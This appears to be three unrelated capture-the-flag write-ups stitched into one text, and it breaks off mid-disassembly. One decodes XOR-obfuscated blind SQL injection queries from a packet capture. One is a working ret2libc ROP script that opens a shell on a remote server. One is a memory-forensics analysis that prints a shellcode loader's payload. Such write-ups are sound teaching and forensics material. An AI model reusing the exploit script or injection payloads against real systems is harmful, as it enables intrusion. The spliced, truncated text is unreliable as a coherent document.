The first idea I got was immediately the correct one. XORing the input with the cryptic hex output gives us the XOR key:```koffiedrinker$ perl -MPwn::Crypto -e 'print fixed_xor(hr("e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a74799edb6fda5b44"), "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")'Pwn::Crypto::XOR::fixed_xor(): strings do not have equal length...koffiedrinker$ # Padding 6 bytes to the input...koffiedrinker$ perl -MPwn::Crypto -e 'print rh(fixed_xor(hr("e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a74799edb6fda5b44"), "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) . "\n"'a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b3538df9a2e9b1a05```
Because we have the XOR key and other plaintext and ciphertext, I was able to determine that the full plaintext is the value of the "words" parameter, a newline and the value of the "sort" parameter (which explains the six extra bytes of input I needed to match the hexstring length). So for example, searching for Trad gave us "f1274d671988ce151a0b". The plaintext that generates this is:```Trad\x0astock```
Now we just extract all the GET requests from the PCAP, XOR it with our key and see what we got. I used a quick Perl one-liner for this:```koffiedrinker$ strings website-attack.pcap | grep 'GET /?action=display&what=' | perl -nle '/what=(\w+)\s/; print $1' > what.txt```
A quick Perl script later:```perluse strict;use warnings;
use Pwn::Crypto;
my $long = hr("e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a74799edb6fda5b44");my $aaa = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0astock";my $key = fixed_xor($aaa, $long);print "Key: " . rh($key) . "\n";open(WHAT, 'what.txt');while(<WHAT>) { chomp; my $query = hr($_); my $trimmed_key = $key; if(length($query) < length($key)) { # We can trim it $trimmed_key = substr $key, 0, length($query); } else { print "Woah! Query is longer than key!\n"; die "Bluh\n"; } print "Result: " . fixed_xor($query, $trimmed_key) . "\n";}
```
Let's see what that gives us...```koffiedrinker$ perl network.pl Key: a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b353894a81bb5382f3432e71f2908d46173a5552c0313fbba7a79606cb0c7083b353894a81bb5382fResult: (CASE WHEN (SELECT SUBSTR(sql,1,1) FROM SQLITE_MASTER LIMIT 1,1) = '0' THEN stock ELSE price END)Result: (CASE WHEN (SELECT SUBSTR(sql,1,1) FROM SQLITE_MASTER LIMIT 1,1) = '1' THEN stock ELSE price END)Result: (CASE WHEN (SELECT SUBSTR(sql,1,1) FROM SQLITE_MASTER LIMIT 1,1) = '2' THEN stock ELSE price END)Result: (CASE WHEN (SELECT SUBSTR(sql,1,1) FROM SQLITE_MASTER LIMIT 1,1) = '3' THEN stock ELSE price END)Result: (CASE WHEN (SELECT SUBSTR(sql,1,1) FROM SQLITE_MASTER LIMIT 1,1) = '4' THEN stock ELSE price END)Result: (CASE WHEN (SELECT SUBSTR(sql,1,1) FROM SQLITE_MASTER LIMIT 1,1) = '5' THEN stock ELSE price END)```
So we are dealing with a SQLinjection attack on the webserver. It's easy to find the flag from this output. We just wait until the attacker goes to the next character in SUBSTR and get the character from the line above it.
For example:```Result: (CASE WHEN (SELECT SUBSTR(sql,1,1) FROM SQLITE_MASTER LIMIT 1,1) = 'C' THEN stock ELSE price END)Result: (CASE WHEN (SELECT SUBSTR(sql,2,1) FROM SQLITE_MASTER LIMIT 1,1) = '0' THEN stock ELSE price END)```
So the first character that matched what the attacker wanted is a 'C'.
Coding this gives us the flag:```perluse strict;use warnings;
use Pwn::Crypto;
my $long = hr("e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a74799edb6fda5b44");my $aaa = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0astock";my $key = fixed_xor($aaa, $long);print "Key: " . rh($key) . "\n";
my $previous_str = '';my $first_one = 1;my $flag = '';open(WHAT, 'what.txt');while(<WHAT>) { chomp; my $query = hr($_); my $trimmed_key = $key; if(length($query) < length($key)) { # We can trim it $trimmed_key = substr $key, 0, length($query); } else { print "Woah! Query is longer than key!\n"; die "Bluh\n"; } my $r = fixed_xor($query, $trimmed_key); print "Result: $r\n"; if(!$first_one) { # Compare with previous one $previous_str =~ /SUBSTR\(([^\)]+)\)/; my $prev = $1; $r =~ /SUBSTR\(([^\)]+)\)/; my $cur = $1; if($prev ne $cur) { print "Different! $prev != $cur \n"; $previous_str =~ /\= \'(.)\' THEN stock/; $flag .= $1; } }
$previous_str = $r; $first_one = 0 if $first_one;}
print "FLAG: $flag\n";```
Running it:```koffiedrinker$ perl network.plFLAG: CREATE TABLE secret_flag (flag text)
flag{7307e3ee8da198ca4a7f9b1f8b018d8e}```
Note: I am not proud of the code I have written but I did solve it pretty quickly (first blood even) so there's that. :)
Flag: flag{7307e3ee8da198ca4a7f9b1f8b018d8e} |
full writeup at https://teamrocketist.github.io/2017/09/10/Pwn-ASIS-Mrs-Hudson/
TLDR:```from pwn import *import struct import timedef getConn(): return process('./mrs._hudson', env = {"LD_PRELOAD":"./libc.so.6"}) if local else remote('178.62.249.106', 8642)binary = ELF('./mrs._hudson')libc = ELF('libc.so.6') # got libc from libc-databaselocal = FalsePOPRET = 0x00000000004006f3PUTSPLT = binary.plt['puts']PUTSGOT = binary.got['puts']MAIN = 0x000000000040061Apadding = 'A' * 120ropchain = ''ropchain += p64(POPRET) # POP RDI; RETropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]ropchain += p64(PUTSPLT) # PRINTF function "call"ropchain += p64(MAIN) # PRINTF function "call"r = getConn()r.recvline()r.sendline(padding + ropchain)PUTS = u64(r.recv(0x6).ljust(8, '\x00'))LIBCBASE = PUTS - libc.symbols['puts']SYSTEM = LIBCBASE + libc.symbols['system']BINSH = LIBCBASE + 0x18cd17log.info("LIBC 0x%x" % LIBCBASE)log.info("LIBC 0x%x" % PUTS)log.info("SYSTEM 0x%x" % SYSTEM)log.info("Binsh 0x%x" % (BINSH))r.recvline()r.recvline()r.sendline(padding + p64(POPRET) + p64(BINSH) + p64(SYSTEM))r.interactive()r.close()``` |
# For 200
> We got memory image from victim pc. Please analyze malicious indicator. 7z password : novirus
```bashopenssl enc -d -aes-256-cbc -k BnKUyuHfJf31804OmzkO -in files10.enc -out files10.zip```
The contents of the zip file is a 7z compressed file:
```koffiedrinker$ unzip -v ../../../trendmicro2017/for200/files10.zip Archive: ../../../trendmicro2017/for200/files10.zip Length Method Size Ratio Date Time CRC-32 Name-------- ------ ------- ----- ---- ---- ------ ----57290506 Stored 57290506 0% 06-05-17 17:39 78534fd4 VictimMemory.7z-------- ------- --- -------57290506 57290506 0% 1 file```
Uncompressing with `unzip files10.zip` and `7za e VictimMemory.7z`, we are left with `VictimMemory.img`.
Since we're dealing with a memory dump, let's use Volatility to analyze it.
```[koffiedrinker@ctf for200]$ ./vol.py -f VictimMemory.img imageinfo Volatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/data/for200/VictimMemory.img) PAE type : PAE DTB : 0x185000L KDBG : 0x8333ec28L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x8333fc00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2017-04-11 02:35:28 UTC+0000 Image local date and time : 2017-04-11 11:35:28 +0900```
Let's use the suggested `Win7SP1x86_23418` profile to list the processes. I prefer using `pstree` because it already shows visually parent-child relationships.
```[koffiedrinker@ctf for200]$ ./vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 pstreeVolatility Foundation Volatility Framework 2.6Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0x89d8a530:wininit.exe 412 344 3 78 2017-04-11 02:27:45 UTC+0000. 0x88a0c030:lsass.exe 516 412 7 547 2017-04-11 02:27:48 UTC+0000. 0x88a056d8:services.exe 508 412 7 220 2017-04-11 02:27:47 UTC+0000.. 0x869fa6c0:VSSVC.exe 2304 508 12 194 2017-04-11 02:33:08 UTC+0000.. 0x89d91030:svchost.exe 1288 508 17 304 2017-04-11 02:28:00 UTC+0000.. 0x86d7b030:VGAuthService. 1424 508 3 87 2017-04-11 02:28:03 UTC+0000.. 0x89d6b030:mscorsvw.exe 3096 508 6 74 2017-04-11 02:30:34 UTC+0000.. 0x88bd3a98:msdtc.exe 1420 508 14 150 2017-04-11 02:28:28 UTC+0000.. 0x88a4bcd8:vmacthlp.exe 676 508 3 53 2017-04-11 02:27:52 UTC+0000.. 0x88a808a0:svchost.exe 808 508 20 465 2017-04-11 02:27:53 UTC+0000... 0x88aa7130:audiodg.exe 952 808 4 122 2017-04-11 02:27:55 UTC+0000.. 0x869b6030:msiexec.exe 3612 508 9 278 2017-04-11 02:34:25 UTC+0000.. 0x89c0fb78:svchost.exe 1668 508 8 92 2017-04-11 02:28:12 UTC+0000.. 0x86986030:sppsvc.exe 3264 508 4 146 2017-04-11 02:30:44 UTC+0000.. 0x89a3b8e0:SearchIndexer. 2376 508 12 576 2017-04-11 02:29:03 UTC+0000.. 0x88a87518:svchost.exe 844 508 18 419 2017-04-11 02:27:53 UTC+0000... 0x88b91030:dwm.exe 568 844 3 70 2017-04-11 02:28:22 UTC+0000.. 0x86dcf2d0:vmtoolsd.exe 1484 508 8 289 2017-04-11 02:28:07 UTC+0000... 0x89a73d40:cmd.exe 3880 1484 0 ------ 2017-04-11 02:35:27 UTC+0000.... 0x869b8d40:ipconfig.exe 3900 3880 0 ------ 2017-04-11 02:35:28 UTC+0000.. 0x89d0b030:spoolsv.exe 1232 508 12 326 2017-04-11 02:27:59 UTC+0000.. 0x86400838:taskhost.exe 1976 508 9 165 2017-04-11 02:28:18 UTC+0000.. 0x8697fa58:svchost.exe 3300 508 9 299 2017-04-11 02:30:45 UTC+0000.. 0x89a131f8:WmiApSrv.exe 3728 508 5 111 2017-04-11 02:31:41 UTC+0000.. 0x88add030:svchost.exe 1116 508 16 391 2017-04-11 02:27:57 UTC+0000.. 0x88a5e528:svchost.exe 720 508 7 284 2017-04-11 02:27:53 UTC+0000.. 0x88a8baf8:svchost.exe 868 508 42 1017 2017-04-11 02:27:53 UTC+0000.. 0x88a47130:svchost.exe 616 508 10 359 2017-04-11 02:27:51 UTC+0000... 0x89b5b5b0:WmiPrvSE.exe 2108 616 10 294 2017-04-11 02:28:37 UTC+0000... 0x88be3300:WmiPrvSE.exe 204 616 10 204 2017-04-11 02:28:31 UTC+0000.. 0x88ab6c88:svchost.exe 1008 508 13 282 2017-04-11 02:27:56 UTC+0000.. 0x8697bd40:svchost.exe 3324 508 5 66 2017-04-11 02:33:09 UTC+0000.. 0x8694bd40:svchost.exe 3192 508 9 126 2017-04-11 02:30:40 UTC+0000. 0x88a0ba38:lsm.exe 524 412 10 143 2017-04-11 02:27:48 UTC+0000 0x86d1d7e8:csrss.exe 352 344 9 470 2017-04-11 02:27:43 UTC+0000. 0x86784030:conhost.exe 3888 352 0 ------ 2017-04-11 02:35:28 UTC+0000 0x8594b7e0:System 4 0 91 490 2017-04-11 02:27:39 UTC+0000. 0x86dd0d40:smss.exe 268 4 2 29 2017-04-11 02:27:39 UTC+0000 0x89d83478:csrss.exe 404 396 10 199 2017-04-11 02:27:45 UTC+0000. 0x86938030:conhost.exe 1868 404 3 100 2017-04-11 02:32:03 UTC+0000 0x89da3530:winlogon.exe 444 396 3 114 2017-04-11 02:27:45 UTC+0000 0x88bbaab8:explorer.exe 940 356 31 865 2017-04-11 02:28:23 UTC+0000. 0x8691c030:cmd.exe 4080 940 1 20 2017-04-11 02:32:02 UTC+0000.. 0x88abfa78:svchost.exe 3828 4080 1 7 2017-04-11 02:35:18 UTC+0000. 0x88bca030:vmtoolsd.exe 2216 940 6 191 2017-04-11 02:28:51 UTC+0000```
Near the bottom we note an interesting chain: `Explorer.exe -> cmd.exe -> svchost.exe`. That doesn't look right.
Let's dump how `svchost.exe` was executed:
```[koffiedrinker@ctf for200]$ ./vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 cmdline --pid=940,4080,3828Volatility Foundation Volatility Framework 2.6************************************************************************explorer.exe pid: 940Command line : C:\Windows\Explorer.EXE************************************************************************cmd.exe pid: 4080Command line : "C:\Windows\system32\cmd.exe" ************************************************************************svchost.exe pid: 3828Command line : svchost.exe 1.tmp 0x0 1```
So `svchost.exe` takes as arguments: `1.tmp 0x0 1`, that's kinda unusual...
Note that `cmdscan` would have also told us this (since it was started by `cmd.exe`):
```[koffiedrinker@ctf for200]$ ./vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 cmdscan Volatility Foundation Volatility Framework 2.6**************************************************CommandProcess: conhost.exe Pid: 1868CommandHistory: 0x31e818 Application: svchost.exe Flags: AllocatedCommandCount: 0 LastAdded: -1 LastDisplayed: -1FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x190Cmd #11 @ 0x10000: ?????Cmd #37 @ 0x10000: ?????**************************************************CommandProcess: conhost.exe Pid: 1868CommandHistory: 0x33a338 Application: cmd.exe Flags: Allocated, ResetCommandCount: 2 LastAdded: 1 LastDisplayed: 1FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x58Cmd #0 @ 0x33a700: cd %temp%Cmd #1 @ 0x2d3b38: svchost.exe 1.tmp 0x0 1```
Let's dump the `svchost.exe` and dump `1.tmp` since this is probably some kind of input file.
```[koffiedrinker@ctf for200]$ ./vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 procdump --pid=3828 --dump-dir=dump_files/Volatility Foundation Volatility Framework 2.6Process(V) ImageBase Name Result---------- ---------- -------------------- ------0x88abfa78 0x00ed0000 svchost.exe OK: executable.3828.exe[koffiedrinker@ctf for200]$ ./vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 dumpfiles --regex=1.tmp --pid=3828 --dump-dir=dump_files/Volatility Foundation Volatility Framework 2.6DataSectionObject 0x88bb47c0 3828 \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmpSharedCacheMap 0x88bb47c0 3828 \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp```
Taking a look at `1.tmp` leaves us without a clue of what the contents mean:```[koffiedrinker@ctf dump_files]$ xxd -c32 file.3828.0x86c8dec0.dat | head -n200000000: 9090 9090 9090 9090 9090 9090 9090 9090 5589 e583 ec60 c645 daa8 c645 dbff c645 ................U....`.E...E...E0000020: dc88 c645 ddd0 c645 deb2 c645 dff6 c645 e0f8 c645 e1ea c645 e2ff c645 e3ff c645 ...E...E...E...E...E...E...E...E0000040: e4d2 c645 e5ff c645 e6ff c645 e7c2 c645 e8dc c645 e9c2 c645 ead8 c645 ebff c645 ...E...E...E...E...E...E...E...E0000060: ecf6 c645 edff c645 eefa c645 efff c645 bc55 c645 bd8b c645 beec c645 bf51 c645 ...E...E...E...E.U.E...E...E.Q.E0000080: c0e8 c645 c100 c645 c200 c645 c300 c645 c400 c645 c558 c645 c62d c645 c752 c645 ...E...E...E...E...E.X.E.-.E.R.E00000a0: c81f c645 c934 c645 ca01 c645 cb2d c645 cc52 c645 cd1f c645 ce34 c645 cf01 c645 ...E.4.E...E.-.E.R.E...E.4.E...E00000c0: d0e8 c645 d100 c645 d200 c645 d300 c645 d400 c645 d590 c645 d690 c645 d7c9 c645 ...E...E...E...E...E...E...E...E00000e0: d8c3 c645 d9cc c645 a600 c645 a75b c645 a800 c645 a900 c645 aa00 c645 ab00 c645 ...E...E...E.[.E...E...E...E...E0000100: ac00 c645 ad00 c645 ae2b c645 af17 c645 b000 c645 b119 c645 b23f c645 b300 c645 ...E...E.+.E...E...E...E.?.E...E0000120: b400 c645 b500 c645 b600 c645 b703 c645 b800 c645 b913 c645 ba00 c645 bb05 c745 ...E...E...E...E...E...E...E...E0000140: fc16 0000 00c7 45f4 0000 0000 c745 f000 0000 008b 45f0 83f8 1673 708d 55da 8b45 ......E......E......E....sp.U..E0000160: f001 d00f b600 0fb6 c089 45f8 8d55 a68b 45f0 01d0 0fb6 000f b6c0 8945 f483 7df4 ..........E..U..E..........E..}.0000180: 007e 0a83 45f8 0183 6df4 01eb f08b 45fc 83e8 010f b644 05bc 0fb6 c029 45f8 8b45 .~..E...m.....E......D.....)E..E00001a0: fc83 e801 0fb6 4405 bc0f b6c0 3145 f8d1 7df8 8b45 f889 c18d 55da 8b45 f001 d088 ......D.....1E..}..E....U..E....00001c0: 0883 6dfc 0183 45f0 01eb 8890 c9c3 0000 0000 0000 0000 0000 0000 0000 0000 0000 ..m...E.........................00001e0: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ................................0000200: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ................................0000220: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ................................0000240: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ................................0000260: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ................................```
The remainder of the file is full of zero bytes, the "file" is basically just a memory page with the file contents in the beginning.
It's highly likely that we'll know what to do with the file once we know what `svchost.exe` does with it. Time to fire up radare2.
```[koffiedrinker@ctf dump_files]$ r2 -A executable.3828.exe [x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze len bytes of instructions for references (aar)[x] Analyze function calls (aac)[ ] [*] Use -AA or aaaa to perform additional experimental analysis.[x] Constructing a function name for fcn.* and sym.func.* functions (aan)) -- Your project name should contain an uppercase letter, 8 vowels, some numbers, and the first 5 numbers of your private bitcoin key.[0x00ed1406]> afl0x00ed1000 9 398 sub.MSVCR120.dll_printf_00x00ed118e 3 15 -> 266 fcn.00ed118e0x00ed1406 25 10 -> 340 entry00x00ed1410 3 61 sub.KERNEL32.dll_IsDebuggerPresent_4100x00ed144d 3 251 loc.00ed144d0x00ed1598 1 6 sub.MSVCR120.dll__XcptFilter_5980x00ed159e 1 6 sub.MSVCR120.dll__amsg_exit_59e0x00ed15b0 7 67 fcn.00ed15b00x00ed1600 3 137 fcn.00ed16000x00ed16c0 5 49 fcn.00ed16c00x00ed16f1 9 156 sub.KERNEL32.dll_GetSystemTimeAsFileTime_6f10x00ed178d 1 3 fcn.00ed178d0x00ed17cc 4 157 sub.KERNEL32.dll_DecodePointer_7cc0x00ed186c 1 9 fcn.00ed186c0x00ed1875 1 21 fcn.00ed18750x00ed188a 6 32 fcn.00ed188a0x00ed18ca 3 39 fcn.00ed18ca0x00ed18f2 1 6 sub.MSVCR120.dll__initterm_e_8f20x00ed18f8 1 6 sub.MSVCR120.dll__initterm_8f80x00ed1900 1 69 fcn.00ed19000x00ed1945 1 20 fcn.00ed19450x00ed197c 1 6 sub.MSVCR120.dll__crt_debugger_hook_97c0x00ed1982 1 6 sub.MSVCR120.dll___crtUnhandledException_9820x00ed1988 1 6 sub.MSVCR120.dll___crtTerminateProcess_9880x00ed198e 1 6 sub.MSVCR120.dll__terminate__YAXXZ_98e0x00ed1994 1 6 sub.MSVCR120.dll___crtSetUnhandledExceptionFilter_9940x00ed199a 1 6 sub.MSVCR120.dll__lock_99a0x00ed19a0 1 6 sub.MSVCR120.dll__unlock_9a00x00ed19a6 1 6 sub.MSVCR120.dll___dllonexit_9a60x00ed19ac 1 6 sub.MSVCR120.dll__invoke_watson_9ac0x00ed19b2 1 6 sub.MSVCR120.dll__controlfp_s_9b20x00ed19b8 1 6 sub.MSVCR120.dll__except_handler4_common_9b80x00ed19be 1 6 sub.KERNEL32.dll_IsProcessorFeaturePresent_9be0x00ed19d0 4 43 fcn.00ed19d0```
The first function is actually `main()`, or at least contains the overall logic of the program.
Printing the strings in rodata, we find the usage string so we now know what the arguments to `svchost.exe` (more or less) mean:```[0x00ed1000]> izvaddr=0x00ed2120 paddr=0x00000f20 ordinal=001 sz=53 len=52 section=.rdata type=ascii string=usage: this.exe <input file> <offset> <isLongSleep>\nvaddr=0x00ed2158 paddr=0x00000f58 ordinal=002 sz=19 len=18 section=.rdata type=ascii string=offset eg) 0xFFFF\nvaddr=0x00ed216c paddr=0x00000f6c ordinal=003 sz=17 len=16 section=.rdata type=ascii string=file name is %s\nvaddr=0x00ed2184 paddr=0x00000f84 ordinal=004 sz=14 len=13 section=.rdata type=ascii string=offset is %x\n...```
Looking at the calls in main:```[0x00ed1000]> pdf~call| 0x00ed1008 e8c3090000 call fcn.00ed19d0| | 0x00ed102e ffd6 call esi| | 0x00ed1035 ffd6 call esi| | 0x00ed103c ff159820ed00 call dword [sym.imp.MSVCR120.dll_exit] ; 0xed2098| 0x00ed1051 ffd7 call edi| 0x00ed1062 ff15b020ed00 call dword [sym.imp.MSVCR120.dll_sscanf] ; 0xed20b0| 0x00ed1073 ffd7 call edi| 0x00ed107b ff15a420ed00 call dword [sym.imp.MSVCR120.dll_fopen] ; 0xed20a4| 0x00ed1096 ff15a020ed00 call dword [sym.imp.MSVCR120.dll_fread] ; 0xed20a0| 0x00ed10af ff150820ed00 call dword [sym.imp.KERNEL32.dll_VirtualAlloc] ; 0xed2008| | 0x00ed10c0 ffd7 call edi| | 0x00ed10d0 e8b9000000 call fcn.00ed118e| 0x00ed10e7 ff15ac20ed00 call dword [sym.imp.MSVCR120.dll_memmove] ; 0xed20ac| 0x00ed1102 ff15b020ed00 call dword [sym.imp.MSVCR120.dll_sscanf] ; 0xed20b0| | 0x00ed1119 ff150420ed00 call dword [sym.imp.KERNEL32.dll_Sleep] ; 0xed2004 ; "F\xba\fv\xb6/\rv]7\rv\xde/\rv\x80\xbb\fv\xc4\xca\fv\x9f\xbb\fv\xb5v\rv\xa8>\fv\x95\xa2[w\x10\xcd[w"| 0x00ed112f ff150c20ed00 call dword [sym.imp.KERNEL32.dll_CreateThread] ; 0xed200c ; "]7\rv\xde/\rv\x80\xbb\fv\xc4\xca\fv\x9f\xbb\fv\xb5v\rv\xa8>\fv\x95\xa2[w\x10\xcd[w"| | 0x00ed1140 ffd7 call edi| | 0x00ed1150 e839000000 call fcn.00ed118e| 0x00ed115e ffd7 call edi| 0x00ed1166 ff150020ed00 call dword [sym.imp.KERNEL32.dll_WaitForSingleObject] ; 0xed2000| 0x00ed1172 ff159c20ed00 call dword [sym.imp.MSVCR120.dll_fclose] ; 0xed209c| 0x00ed1185 e804000000 call fcn.00ed118e```
To make a long story short, this function opens the "1.tmp" file, reads it, moves it to it's own memory page and then executes the contents of it by calling `CreateThread()` with the memory page as starting address. So let's open "1.tmp" in radare2 and disassemble it. :) (Suddenly the 0x90's begin to make sense in "1.tmp")
```[koffiedrinker@ctf dump_files]$ r2 file.3828.0x86c8dec0.dat -- You crackme up![0x00000000]> pd 139 0x00000000 90 nop 0x00000001 90 nop 0x00000002 90 nop 0x00000003 90 nop 0x00000004 90 nop 0x00000005 90 nop 0x00000006 90 nop 0x00000007 90 nop 0x00000008 90 nop 0x00000009 90 nop 0x0000000a 90 nop 0x0000000b 90 nop 0x0000000c 90 nop 0x0000000d 90 nop 0x0000000e 90 nop 0x0000000f 90 nop 0x00000010 55 push rbp 0x00000011 89e5 mov ebp, esp 0x00000013 83ec60 sub esp, 0x60 ; '`' 0x00000016 c645daa8 mov byte [rbp - 0x26], 0xa8 0x0000001a c645dbff mov byte [rbp - 0x25], 0xff 0x0000001e c645dc88 mov byte [rbp - 0x24], 0x88 0x00000022 c645ddd0 mov byte [rbp - 0x23], 0xd0 0x00000026 c645deb2 mov byte [rbp - 0x22], 0xb2 0x0000002a c645dff6 mov byte [rbp - 0x21], 0xf6 0x0000002e c645e0f8 mov byte [rbp - 0x20], 0xf8 0x00000032 c645e1ea mov byte [rbp - 0x1f], 0xea 0x00000036 c645e2ff mov byte [rbp - 0x1e], 0xff 0x0000003a c645e3ff mov byte [rbp - 0x1d], 0xff 0x0000003e c645e4d2 mov byte [rbp - 0x1c], 0xd2 0x00000042 c645e5ff mov byte [rbp - 0x1b], 0xff 0x00000046 c645e6ff mov byte [rbp - 0x1a], 0xff 0x0000004a c645e7c2 mov byte [rbp - 0x19], 0xc2 0x0000004e c645e8dc mov byte [rbp - 0x18], 0xdc 0x00000052 c645e9c2 mov byte [rbp - 0x17], 0xc2 0x00000056 c645ead8 mov byte [rbp - 0x16], 0xd8 0x0000005a c645ebff mov byte [rbp - 0x15], 0xff 0x0000005e c645ecf6 mov byte [rbp - 0x14], 0xf6 0x00000062 c645edff mov byte [rbp - 0x13], 0xff 0x00000066 c645eefa mov byte [rbp - 0x12], 0xfa 0x0000006a c645efff mov byte [rbp - 0x11], 0xff 0x0000006e c645bc55 mov byte [rbp - 0x44], 0x55 ; 'U' 0x00000072 c645bd8b mov byte [rbp - 0x43], 0x8b 0x00000076 c645beec mov byte [rbp - 0x42], 0xec 0x0000007a c645bf51 mov byte [rbp - 0x41], 0x51 ; 'Q' 0x0000007e c645c0e8 mov byte [rbp - 0x40], 0xe8 0x00000082 c645c100 mov byte [rbp - 0x3f], 0 0x00000086 c645c200 mov byte [rbp - 0x3e], 0 0x0000008a c645c300 mov byte [rbp - 0x3d], 0 0x0000008e c645c400 mov byte [rbp - 0x3c], 0 0x00000092 c645c558 mov byte [rbp - 0x3b], 0x58 ; 'X' 0x00000096 c645c62d mov byte [rbp - 0x3a], 0x2d ; '-' 0x0000009a c645c752 mov byte [rbp - 0x39], 0x52 ; 'R' 0x0000009e c645c81f mov byte [rbp - 0x38], 0x1f 0x000000a2 c645c934 mov byte [rbp - 0x37], 0x34 ; '4' 0x000000a6 c645ca01 mov byte [rbp - 0x36], 1 0x000000aa c645cb2d mov byte [rbp - 0x35], 0x2d ; '-' 0x000000ae c645cc52 mov byte [rbp - 0x34], 0x52 ; 'R' 0x000000b2 c645cd1f mov byte [rbp - 0x33], 0x1f 0x000000b6 c645ce34 mov byte [rbp - 0x32], 0x34 ; '4' 0x000000ba c645cf01 mov byte [rbp - 0x31], 1 0x000000be c645d0e8 mov byte [rbp - 0x30], 0xe8 0x000000c2 c645d100 mov byte [rbp - 0x2f], 0 0x000000c6 c645d200 mov byte [rbp - 0x2e], 0 0x000000ca c645d300 mov byte [rbp - 0x2d], 0 0x000000ce c645d400 mov byte [rbp - 0x2c], 0 0x000000d2 c645d590 mov byte [rbp - 0x2b], 0x90 0x000000d6 c645d690 mov byte [rbp - 0x2a], 0x90 0x000000da c645d7c9 mov byte [rbp - 0x29], 0xc9 0x000000de c645d8c3 mov byte [rbp - 0x28], 0xc3 0x000000e2 c645d9cc mov byte [rbp - 0x27], 0xcc 0x000000e6 c645a600 mov byte [rbp - 0x5a], 0 0x000000ea c645a75b mov byte [rbp - 0x59], 0x5b ; '[' 0x000000ee c645a800 mov byte [rbp - 0x58], 0 0x000000f2 c645a900 mov byte [rbp - 0x57], 0 0x000000f6 c645aa00 mov byte [rbp - 0x56], 0 0x000000fa c645ab00 mov byte [rbp - 0x55], 0 0x000000fe c645ac00 mov byte [rbp - 0x54], 0 0x00000102 c645ad00 mov byte [rbp - 0x53], 0 0x00000106 c645ae2b mov byte [rbp - 0x52], 0x2b ; '+' 0x0000010a c645af17 mov byte [rbp - 0x51], 0x17 0x0000010e c645b000 mov byte [rbp - 0x50], 0 0x00000112 c645b119 mov byte [rbp - 0x4f], 0x19 0x00000116 c645b23f mov byte [rbp - 0x4e], 